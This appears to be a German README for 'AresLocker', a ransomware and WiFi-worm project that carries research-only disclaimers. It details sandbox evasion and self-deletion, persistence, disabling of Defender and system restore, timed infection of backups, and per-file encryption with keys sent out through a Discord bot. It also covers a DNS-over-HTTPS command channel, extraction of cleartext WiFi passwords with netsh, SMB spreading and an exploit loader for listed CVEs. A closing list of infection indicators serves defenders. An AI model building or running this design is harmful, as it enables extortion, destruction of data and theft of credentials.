Dieses Projekt dient ausschließlich Forschungs-, Analyse- und Testzwecken im Bereich der IT-Sicherheit. Jegliche Nutzung, Verbreitung oder Anwendung auf fremden Systemen ohne ausdrückliche und schriftliche Erlaubnis ist strengstens untersagt und kann straf- sowie zivilrechtliche Konsequenzen nach sich ziehen. Der Autor übernimmt keinerlei Haftung für Schäden, Datenverluste oder sonstige Folgen, die durch unsachgemäßen, fahrlässigen oder missbräuchlichen Einsatz entstehen. Die Verantwortung für die Einhaltung aller geltenden Gesetze und Vorschriften liegt ausschließlich beim Nutzer.
Verwenden Sie dieses Projekt niemals auf produktiven Systemen oder außerhalb von kontrollierten, legalen Testumgebungen. Mit der Nutzung bestätigen Sie, dass Sie sich der rechtlichen Risiken bewusst sind und sämtliche Konsequenzen selbst tragen.
- Zweck: Dieses Projekt ist ausschließlich für legale Forschungs-, Analyse- und Testzwecke im Bereich der IT-Sicherheit bestimmt.
- Verbotene Nutzung: Jegliche Anwendung, Verbreitung oder Nutzung auf fremden Systemen ohne ausdrückliche, schriftliche Erlaubnis des Eigentümers ist untersagt und kann straf- sowie zivilrechtliche Konsequenzen nach sich ziehen.
- Haftungsausschluss: Der Autor übernimmt keinerlei Haftung für Schäden, Datenverluste oder sonstige Folgen, die durch unsachgemäßen, fahrlässigen oder missbräuchlichen Einsatz entstehen.
- Eigenverantwortung: Die Einhaltung aller geltenden Gesetze und Vorschriften liegt ausschließlich beim Nutzer. Der Nutzer trägt sämtliche rechtlichen Konsequenzen selbst.
- Keine Produktivnutzung: Die Nutzung auf produktiven Systemen oder außerhalb von kontrollierten, legalen Testumgebungen ist strengstens untersagt.
- Änderungen: Der Autor behält sich vor, die Nutzungsbedingungen jederzeit zu ändern. Es gilt die jeweils aktuelle Fassung in diesem Dokument.
- Hinweis: Mit der Nutzung dieses Projekts erkennen Sie diese Bedingungen ausdrücklich an.
Das Programm wird mit run.py gestartet und prüft:
- Python-Version (>= 3.8)
- Erforderliche Module (z.B. cryptography, discord.py)
- Administratorrechte (
ctypes.windll.shell32.IsUserAnAdmin())
Sicherheitsmaßnahmen:
- Mutex
Global\\AresLockerverhindert Mehrfachausführung - Logging mit rotierenden Dateien
- Prozessname wird verschleiert
Mechanismen zur Erkennung von Analyseumgebungen:
- Hardware: VM-MAC-Präfixe, CPUID, RAM-/HDD-Größe
- Software: Bekannte Tools im Speicher, Debugger (
IsDebuggerPresent()), Registry-Keys von VMs - Netzwerk: DNS bekannter Sandbox-Dienste, Latenztests
Bei Analyseerkennung:
- Sofortige Selbstlöschung (
dell.bat), Secure-Wipe temporärer Dateien, Registry-Bereinigung
Bei unauffälliger Umgebung:
- Entpacken verschlüsselter Archive (7zip)
- Start der Persistenzmechanismen
- Hauptfunktionen werden initialisiert
Mehrere Methoden sorgen für Autostart und Selbstheilung:
- Batch:
run.bat(Autostart, Registry, geplante Tasks) - Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - Geplante Tasks (
schtasks) - Kopie ins Autostart-Verzeichnis
- Optional: Manipulation von Diensten/Scheduled Tasks
- Regelmäßige Überprüfung und Wiederherstellung der Persistenz
Zeitgesteuerter Ablauf über trigger.bat:
- Überwachung eines vordefinierten Zeitpunkts (lokal oder via Zeitserver)
- Verzögerung zur Erschwerung der Analyse möglich
- Wen der Timer lang genug ist können damit Backups infiltiriert werden um
wiederherstellung vollständig zu verhindern. - Bei Erreichen des Zeitpunkts:
- Start der Hauptfunktion (
main.py): Dateiverschlüsselung, Anzeige der Lösegeldforderung - Deaktivierung von Schutzmechanismen (
disalbe.py): Registry, Dienste, Prozesse - Optional: Manipulation der Hosts-Datei
- Start der Hauptfunktion (
- Systemweite Dateisuche (Ausschluss von Systemverzeichnissen und bestimmten Dateitypen)
- Für jede Datei: Generierung eines individuellen AES-256-Schlüssels (AES-GCM, IV pro Datei)
- AES-Schlüssel wird nicht lokal gespeichert, sondern mit ECIES (SECP256K1, Public Key aus
public.pem) verschlüsselt - Schlüssel und Metadaten werden asynchron per Discord-Bot an einen Channel gesendet (
key.bin/key_<hash>.bin) - Nach erfolgreicher Verschlüsselung: Originaldatei löschen, Integrität per SHA256-Hash prüfen
- Schlüsselmanagement im RAM (sichere Löschung nach Gebrauch)
- Erstellung und Platzierung der Lösegeldforderung (
note.py) - Optional: Verschlüsselung von Netzwerkfreigaben und Beenden bestimmter Prozesse
- Start (
run.py): Initialisierung, Rechteprüfung, Logging - Analysephase → ggf. Selbstlöschung (
dell.bat) - Extraktion & Persistenz (
extract.bat,run.bat) - Terminüberwachung (
trigger.bat) - Hauptfunktion: Verschlüsselung & Anzeige der Lösegeldforderung (
main.py,encryptor.py,note.py)- Schutzmechanismen deaktivieren (
disalbe.py) - Systemwiederherstellung verhindern
- Netzwerkfreigaben und externe Laufwerke optional einbeziehen
- Schutzmechanismen deaktivieren (
Alle zentralen Einstellungen werden in encryptor/arciv/config.py über die Klasse Config vorgenommen. Wichtige Parameter sind u.a.:
- Bitcoin-Adresse, Kontakt-E-Mail, Countdown, Timer-Datei
- Discord-Bot-Token, Channel-ID, Schlüsseldateiname
- Chunk-Größe, Pfade, Logdatei, Dateiendung
- Upload-Retries, Ausschlussverzeichnisse
Das Global Movement Modul implementiert fortschrittliche Techniken zur Malware-Verbreitung über verschiedene Netzwerk-Protokolle und -Methoden.
Dateien:
AresLocker/global_movement/doh_server.py- DoH-Server mit integrierter WiFi-FunktionalitätAresLocker/global_movement/doh_client.py- DoH-Client mit integrierter WiFi-FunktionalitätAresLocker/global_movement/doh_wifi_config.py- Konfiguration für DoH-WiFi-Integration
Funktionen:
- DNS-over-HTTPS Command & Control
- WLAN-Zugangsdaten-Sammlung und -Verbreitung
- Automatische Netzwerk-Verbindung
- Stealth-Kommunikation über DNS-Traffic
Dateien:
AresLocker/global_movement/exploits/base_exploit.py- Abstrakte Basisklasse für alle ExploitsAresLocker/global_movement/exploits/exploit_RAM_loader.py- Dynamischer Exploit-LoaderAresLocker/global_movement/main.py- Hauptprogramm für Exploit-VerwaltungAresLocker/global_movement/exploits/- Verschiedene Exploit-Kategorien (HTTP, SSH, RDP, etc.)
Funktionen:
- Standardisiertes Exploit-Framework
- Dynamisches Laden und Ausführen von Exploits
- Automatische Target-Verifikation und Payload-Generierung
- Konsistente Logging- und Fehlerbehandlung
- Session-Management und Statusverfolgung
Verfügbare Exploit-Kategorien:
- HTTP Exploits: CVE_2019_11510, CVE_2020_5902, CVE_2021_22986, etc.
- HTTPS Exploits: CVE_2022_22965 (Spring4Shell), CVE-2023_34362, etc.
- SSH Exploits: CVE_2016_0777, CVE_2018_15473, CVE_2023_38408
- RDP Exploits: CVE_2019_0708 (BlueKeep), CVE_2020_0609, CVE_2024_49112
- Windows Core Exploits: CVE_2021_44228 (Log4Shell), CVE_2022_34718, etc.
- Weitere Protokolle: Redis, Apache Tomcat, etc.
Verwendung des BaseExploit Frameworks:
# Neuen Exploit erstellen
class MeinExploit(BaseExploit):
def verify_target(self) -> bool:
# Target-Verifikation implementieren
pass
def generate_payload(self) -> Any:
# Payload generieren
pass
def execute(self) -> bool:
# Exploit ausführen
pass
# Exploit verwenden
exploit = MeinExploit("192.168.1.100", port=8080)
success = exploit.run()Über das Hauptprogramm:
# Alle verfügbaren Exploits anzeigen
python AresLocker/global_movement/main.py --list
# Exploit ausführen
python AresLocker/global_movement/main.py --execute http CVE_2021_22986AresLocker/encryptor/arciv/: Hauptskripte und Batch-DateienAresLocker/encryptor/: Weitere Komponenten (z.B. 7z.exe, extract.bat)AresLocker/keys/: Schlüsseldateien (private.pem,public.pem)AresLocker/decryptor/: Tools zur Entschlüsselung (bei vorhandenem Private Key)AresLocker/global_movement/: Netzwerk-Verbreitung und Exploit-Frameworkdoh_server.py,doh_client.py,doh_wifi_config.py- DoH WiFi Integrationexploits/- Exploit-Framework mit verschiedenen Kategorienmain.py- Exploit-Verwaltungip_scanner/- Netzwerk-Scanning-Tools
Wichtige Dateien:
start.py: Initialisierung, Rechteprüfung, Loggingextract.bat: Entpacken, AV-Umgehungrun.bat: Persistenz, Autostarttrigger.bat: Zeitüberwachungmain.py: Steuerung der Hauptfunktionencryptor.py: Verschlüsselung, Dateisuche, Schlüsselmanagement, Discord-Uploadnote.py: Erstellung/Anzeige der Lösegeldforderungdisalbe.py: Deaktivierung von Schutzmechanismendell.bat: Selbstlöschung7z.exe: Entpacken von Archiven
Ablaufdiagramm (vereinfacht):
- Start (
run.py): Initialisierung, Rechteprüfung, Logging - Analysephase → ggf. Selbstlöschung (
dell.bat) - Extraktion & Persistenz (
extract.bat,run.bat) - Terminüberwachung (
trigger.bat) - Hauptfunktion: Verschlüsselung & Anzeige der Lösegeldforderung (
main.py,encryptor.py,note.py)- Schutzmechanismen deaktivieren (
disalbe.py) - Systemwiederherstellung verhindern
- Netzwerkfreigaben und externe Laufwerke optional einbeziehen
- Schutzmechanismen deaktivieren (
- Optional: Global Movement - Netzwerk-Verbreitung über DoH und Exploits
Die folgenden Merkmale können auf eine Infektion mit AresLocker hindeuten:
Dateinamen und Dateiendungen:
- Verschlüsselte Dateien mit der Endung
.areslock key.txt(verschlüsselter universeller AES-Schlüssel)encryption.log(Logdatei)ransom_timer.txt(Timer-Datei)note.exe(Lösegeldforderung)- Batch-Dateien:
extract.bat,run.bat,trigger.bat,dell.bat - Python-Skripte:
main.py,encryptor.py,note.py,disalbe.py,dc_extract.py 7z.exe(wird zur Extraktion verwendet)
Verzeichnisse und Pfade:
AresLocker/encryptor/arciv/,AresLocker/keys/,AresLocker/decryptor/
Prozesse:
note.exe
Registry-Keys (Persistenz):
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
Geplante Tasks:
- Aufgaben, die auf
run.batodernote.exeverweisen
Netzwerk:
- Kommunikation mit Discord (Bot-Token, Channel-ID)
- Optional: Verbindung zu
https://www.bitcoin.com
Kontaktinformationen in der Lösegeldforderung:
- Bitcoin-Adresse:
1A2b3C4d5E6f7G8h9I0jKLMNOPqrStUv - Kontakt-E-Mail:
unlock@fakedomain.to
Weitere Hinweise:
- Dateien/Prozesse mit den o.g. Namen
- Unerwartete Dateien im Autostart oder geplante Tasks
- Log- oder Schlüsseldateien im Benutzerverzeichnis
- Netzwerkverbindungen zu Discord-IP-Adressen
- Manipulierte Hosts-Datei (z. B. Blockierung von Sicherheitsupdates oder Hilfeseiten)
- Geänderte Registry-Einträge (Task-Manager, Defender, Systemwiederherstellung deaktiviert)
- Geänderte oder neue geplante Tasks mit ungewöhnlichen Triggern
- Temporäre Dateien oder Reste im Benutzerverzeichnis
- Auffällige Logdateien oder Spuren im Windows-Ereignisprotokoll
- Hinweise auf Selbstheilungsmechanismen (z. B. wiederhergestellte Autostart-Einträge)
- Dateien mit der Endung
.areslockauf Netzlaufwerken oder USB-Geräten
Dieses Dokument und alle enthaltenen Informationen dienen ausschließlich Forschungs-, Analyse- und Testzwecken im Bereich der IT-Sicherheit. Jegliche Nutzung, Verbreitung oder Anwendung auf fremden Systemen ohne ausdrückliche und schriftliche Erlaubnis ist strengstens untersagt und kann straf- sowie zivilrechtliche Konsequenzen nach sich ziehen. Der Autor übernimmt keinerlei Haftung für Schäden, Datenverluste oder sonstige Folgen, die durch unsachgemäßen, fahrlässigen oder missbräuchlichen Einsatz entstehen. Die Verantwortung für die Einhaltung aller geltenden Gesetze und Vorschriften liegt ausschließlich beim Nutzer.
Das Framework besteht aus drei Hauptkomponenten:
- Netzwerk-Scanning und -Analyse
- Credential-Management
- Verbindungssteuerung
- Netzwerk-Verbreitung
- Command & Control über DNS
- Verschlüsselte Kommunikation
- Befehlsverarbeitung
- Stealth-Operationen
- Modulare Exploit-Struktur
- Target-Verifikation
- Payload-Generierung
- Multi-Protokoll-Support
class WiFiManager:
def scan_available_networks(self):
"""Scannt nach verfügbaren WLAN-Netzwerken
Implementation: netsh wlan show networks mode=bssid
Returns: List[Dict] - Gefundene Netzwerke mit Details
"""
# Erfasste Parameter pro Netzwerk:
# - SSID/BSSID
# - Netzwerktyp (Infrastructure/Ad-hoc)
# - Authentifizierung (WPA2/WPA/WEP/Open)
# - Verschlüsselung (AES/TKIP/WEP)
# - Signalstärke (%)WIFI_CONFIG = {
'scan_interval': 300, # Scan-Intervall (Sekunden)
'max_networks_per_scan': 50, # Max. Netzwerke pro Scan
'signal_strength_threshold': -70, # Min. Signalstärke (dBm)
'auto_connect': True, # Auto-Verbindung
'stealth_mode': True # Stealth-Modus
}
# Netzwerk-Filterung
EXCLUDED_NETWORKS = [
'AndroidAP', # Mobile Hotspots
'iPhone', # iOS Hotspots
'Guest', # Gast-Netzwerke
'Test', # Test-Netzwerke
'Public' # Öffentliche Netze
]
# Netzwerk-Priorisierung
PRIORITY_NETWORKS = [
'Office', # Büro-Netzwerke
'Corporate', # Unternehmensnetze
'Business' # Geschäftsnetze
]def get_wifi_profiles(self):
"""Extrahiert WLAN-Profile aus Windows
Implementation: netsh wlan show profiles
Returns: List[Dict] - Profile mit Credentials
"""
# Extrahierte Daten pro Profil:
profile_data = {
'ssid': str, # Netzwerkname
'password': str, # Klartext-Passwort
'authentication': str, # Auth-Typ
'encryption': str, # Verschlüsselung
'hostname': str, # Computername
'timestamp': str # ISO-Zeitstempel
}def connect_to_network(self, ssid, password):
"""Verbindet mit WLAN-Netzwerk
Args:
ssid (str): Netzwerkname
password (str): Passwort
Returns:
bool: Verbindungsstatus
"""
# Prozess:
# 1. XML-Profil erstellen
# 2. Profil temporär speichern
# 3. Profil installieren
# 4. Verbindung aufbauen
# 5. Cleanup durchführenDOH_CONFIG = {
'provider': 'https://cloudflare-dns.com/dns-query',
'domain': 'example.com',
'chunk_size': 63, # Max. DNS-Label-Länge
'retry_interval': 30,
'timeout': 10
}COMMAND_CONFIG = {
'allowed_commands': [
'wifi_upload', # Credentials hochladen
'wifi_get', # Netzwerke abrufen
'wifi_spread', # Verbreitung starten
'wifi_scan' # Netzwerk-Scan
],
'blocked_commands': [
'format',
'del',
'rmdir',
'shutdown'
]
}class BaseExploit:
def verify_target(self) -> bool:
"""Überprüft Ziel auf Verwundbarkeit"""
pass
def generate_payload(self) -> bytes:
"""Generiert exploit-spezifischen Payload"""
pass
def execute(self) -> bool:
"""Führt Exploit aus"""
pass- HTTP/HTTPS Exploits (Web-Server)
- SSH Exploits (Linux/Unix)
- RDP Exploits (Windows)
- SMB Exploits (Windows-Freigaben)
- Redis Exploits (Datenbanken)
LOGGING_CONFIG = {
'log_level': 'INFO',
'log_file': 'movement.log',
'max_size': 10485760, # 10 MB
'backup_count': 5,
'format': '%(asctime)s - %(levelname)s - %(message)s'
}ERROR_CONFIG = {
'max_retries': 3,
'retry_delay': 5,
'timeout': 30,
'cleanup_on_error': True
}# Server starten
python doh_server.py --config server_config.json
# Verfügbare Befehle:
wifi_upload # Credentials hochladen
wifi_spread # Verbreitung starten
wifi_scan # Netzwerk-Scan
wifi_stats # Statistiken anzeigen# Client starten
python doh_client.py --config client_config.json
# Automatische Funktionen:
- Heartbeat-Kommunikation
- WLAN-Profil-Extraktion
- Netzwerk-Scanning
- BefehlsausführungDas AresLocker Global Movement Framework ist die erste vollständig autonome WiFi-Wurm-Technologie mit DNS-over-HTTPS Command & Control. Es kombiniert drei revolutionäre Konzepte zu einer unaufhaltsamen Malware-Verbreitungsmaschine, die eine neue Ära in der Cyber-Sicherheit einleitet.
Diese Technologie hat das Potenzial, die Art und Weise zu verändern, wie wir über Malware-Verbreitung denken. Sie ist gleichzeitig ein Meisterwerk der Technik und eine kritische Bedrohung für die Cybersicherheit, die neue Standards für Verteidigungsmaßnahmen setzt.
CVE_2019_11510- Pulse Secure VPN RCECVE_2019_18935- Telerik WebUI RCECVE_2020_5902- F5 BIG-IP RCECVE_2021_22986- F5 BIG-IP RCECVE_2021_31166- Windows HTTP.sys RCECVE_2022_21907- Windows HTTP Protocol Stack RCE
CVE_2022_22965- Spring4Shell RCECVE_2025_0282- HTTPS RCECVE-2023_34362- HTTPS RCE
CVE_2016_0777- SSH Information DisclosureCVE_2018_15473- SSH User EnumerationCVE_2023_38408- SSH RCE
CVE_2019_0708- BlueKeep RCECVE_2020_0609- RDP RCECVE_2024_49112- RDP RCE
CVE_2021_44228- Log4Shell RCECVE_2022_34718- Windows TCP/IP IPv6 Fragment ReassemblyCVE_2022_34721- Windows IKEv2 ExploitCVE_2023_21554- Windows Core RCECVE_2023_28231- Windows Core RCECVE_2024_38063- Windows Core RCECVE_2025_1094- WebSocket Hijacking and RCECVE_2025_24813- Windows Core RCE
CVE_2020_9484- Apache Tomcat Session Persistence (HTTP-Proxy)CVE_2022_0543- Redis Lua Sandbox Escape
def scan_available_networks(self):
"""Scannt nach verfügbaren WLAN-Netzwerken
- Implementiert über netsh wlan show networks mode=bssid
- Erfasst: SSID, BSSID, Netzwerktyp, Auth, Verschlüsselung, Signal
"""
passWIFI_CONFIG = {
'scan_interval': 300, # 5 Minuten zwischen Scans
'max_networks_per_scan': 50, # Maximale Netzwerke pro Scan
'signal_strength_threshold': -70 # Minimale Signalstärke
}
# Ausschlusslisten
EXCLUDED_NETWORKS = [
'AndroidAP', 'iPhone', 'Mobile Hotspot',
'Guest', 'Test', 'Demo', 'Public'
]
PRIORITY_NETWORKS = [
'Office', 'Work', 'Company',
'Business', 'Corporate', 'Enterprise'
]def get_wifi_profiles(self):
"""Extrahiert WLAN-Profile aus Windows-Registry
Returns: List[Dict] mit Profil-Informationen
"""
# Profil-Extraktion
cmd_list = "netsh wlan show profiles"
# Extrahiert pro Profil:
# - Profilname (SSID)
# - Schlüsseltyp
# - Authentifizierung
# - Verschlüsselung
# Detaillierte Profil-Informationen
cmd_details = 'netsh wlan show profile name="{profile}" key=clear'
# Extrahiert:
# - Klartext-Passwort
# - Verbindungsmodus
# - Sicherheitseinstellungenprofile_data = {
'ssid': str, # Netzwerkname
'password': str, # Klartext-Passwort
'authentication': str, # WPA2PSK/WPAPSK/Open
'encryption': str, # AES/TKIP/WEP
'hostname': str, # Computername
'timestamp': str # ISO-Format Zeitstempel
}def connect_to_network(self, ssid, password, auth_type="WPA2PSK", encryption="AES"):
"""Verbindungsaufbau zu WLAN-Netzwerk
Args:
ssid (str): Netzwerkname
password (str): Netzwerk-Passwort
auth_type (str): Authentifizierungstyp
encryption (str): Verschlüsselungsmethode
Returns:
bool: Verbindungsstatus
"""
# 1. XML-Profil generieren
profile_xml = f"""<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<SSIDConfig>
<SSID><name>{ssid}</name></SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>{auth_type}</authentication>
<encryption>{encryption}</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>{password}</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""
# 2. Profil installieren und verbinden
# - Temporäre Profildatei erstellen
# - Profil hinzufügen (netsh wlan add profile)
# - Verbindung aufbauen (netsh wlan connect)
# - Aufräumen temporärer Dateiendef scan_network_devices(self, local_ip):
"""Scannt nach aktiven Geräten im lokalen Netzwerk
Args:
local_ip (str): Lokale IP-Adresse
Returns:
List[str]: Liste aktiver IP-Adressen
"""
# 1. Netzwerk-Basis ermitteln
# 2. Ping-Scan (1-254)
# 3. Aktive Hosts erfassendef attempt_infection(self, target_ip):
"""Versucht Infektion eines Zielgeräts
Args:
target_ip (str): IP des Zielgeräts
Returns:
bool: Infektionsstatus
"""
# 1. SMB-Verbindung testen
# 2. Admin-Share zugreifen
# 3. Malware kopieren
# 4. Remote ausführenLOGGING_CONFIG = {
'log_level': 'INFO',
'log_file': 'doh_wifi.log',
'log_format': '%(asctime)s - %(name)s - %(levelname)s - %(message)s',
'max_log_size': 10485760, # 10 MB
'backup_count': 5,
'console_output': True
}ERROR_MESSAGES = {
'connection_failed': 'Failed to connect to network',
'scan_failed': 'Failed to scan networks',
'upload_failed': 'Failed to upload credentials',
'command_failed': 'Command execution failed',
'timeout': 'Operation timed out',
'permission_denied': 'Permission denied',
'network_unavailable': 'Network not available'
}